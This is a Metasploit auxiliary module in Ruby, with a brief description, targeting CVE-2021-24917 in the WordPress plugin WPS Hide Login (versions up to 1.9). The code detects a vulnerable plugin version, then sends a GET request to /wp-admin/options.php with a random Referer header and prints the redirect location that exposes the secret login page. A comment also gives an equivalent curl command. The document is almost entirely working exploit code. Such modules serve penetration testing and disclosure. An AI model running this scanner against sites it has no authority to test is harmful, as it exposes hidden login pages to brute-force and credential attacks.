This Metasploit module exploits a bypass issue with WPS Hide Login versions less than or equal to 1.9. WPS Hide Login is used to make a new secret path to the login page, however a GET request to /wp-admin/options.php with a referer will reveal the hidden path.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress WPS Hide Login Login Page Revealer',
'Description' => %q{
This module exploits a bypass issue with WPS Hide Login version <= 1.9. WPS Hide Login
is used to make a new secret path to the login page, however a 'GET' request to
'/wp-admin/options.php' with a referer will reveal the hidden path.
},
'References' => [
['WPVDB', '15bb711a-7d70-4891-b7a2-c473e3e8b375'],
['CVE', '2021-24917'],
['URL', 'https://wordpress.org/support/topic/bypass-security-issue/']
],
'Author' => [
'thalakus', # Vulnerability discovery
'h00die' # Metasploit module
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2021-10-27',
'License' => MSF_LICENSE
)
)
end
def run_host(ip)
unless wordpress_and_online?
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
end
checkcode = check_plugin_version_from_readme('wps-hide-login', '1.9.1')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'WPS Hide Login' was not found"
end
print_good("#{ip} - Vulnerable version of wps_hide_login detected")
print_status("#{ip} - Determining login page")
# curl --referer "something" -sIXGET http://<ip>/wp-admin/options.php
res = send_request_cgi({
'method' => 'GET',
'headers' => {
'Referer' => Rex::Text.rand_text_alphanumeric(rand(5..7))
},
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options.php')
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Didn't receive a HTTP 302 redirect to the secret login page" if res.code != 302
if res.headers['Location']
print_good("Login page: #{res.headers['Location']}")
else
print_error('No location header found')
end
end
end